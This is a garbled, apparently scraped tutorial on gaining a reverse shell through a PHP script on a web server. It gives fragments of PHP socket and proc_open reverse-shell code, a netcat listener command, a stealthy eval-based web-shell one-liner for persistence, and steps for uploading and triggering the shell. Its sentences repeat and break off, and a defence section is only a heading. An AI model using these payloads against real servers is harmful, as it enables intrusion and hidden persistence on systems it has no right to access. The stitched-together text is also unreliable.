: The attacker sets up a machine to wait for an incoming connection (usually using a tool like netcat ).
This assumes TCP uses file descriptor 3. If it doesn't work, try file descriptors 4, 5, or 6.
if (is_resource($process)) while (true) $input = socket_read($sock, 1024); if ($input) fwrite($pipes[0], $input);
To create a reverse shell in PHP, we'll use the following components: reverse shell php top
Use code with caution.
(Webshell with Built-in Reverse Shell Launcher)
: Often considered the "gold standard," this script is included in the default Kali Linux web shells directory ( /usr/share/webshells/php/ Ivan Sincek’s PHP Reverse Shell : The attacker sets up a machine to
In a standard shell connection (like SSH), the client connects directly to the server. However, firewalls usually block unexpected incoming connections.
Type reset and press Enter. You now have tab-completion, history navigation, and complete command stability. Defense and Mitigation
For those who need more than a simple shell, phpsploit is a powerful C2 framework that silently persists on a web server via a tiny polymorphic PHP one-liner: <?php @eval($_SERVER['HTTP_PHPSPL01T']); ?> . Communications are hidden in HTTP headers, making the framework nearly invisible to log analysis and NIDS detection. Features include: Type reset and press Enter
For a comprehensive list of reverse shells in various languages, refer to the PayloadsAllTheThings GitHub repository .
Navigate to the URL where the file is hosted. Your browser will appear to "hang" or "load indefinitely"—this is a good sign! It means the script is currently running and holding the connection open. Step 4: Interact
flowchart LR subgraph Attacker["🔴 Attacker (Kali)"] SrcIP["Attacker IP: 10.0.0.1"] Listen["Listener Listening on Port: 4444"] end subgraph Target["🟢 Target Server (Web Host)"] PHP["Executes: php-reverse-shell.php"] end
// Create a socket $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($sock === false) $error = socket_last_error(); echo "socket_create() failed: $error\n"; else // Connect to the attacker's listener $result = socket_connect($sock, $ip, $port); if ($result === false) $error = socket_last_error($sock); echo "socket_connect() failed: $error\n"; socket_close($sock); else // Make the shell $descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr );
Before triggering any PHP script that initiates an outbound connection, you must prepare a listener tool on your receiving machine to catch the incoming traffic. The most common tool for this is . Run the following command in your terminal: nc -lvnp 4444 Use code with caution. Flag breakdown: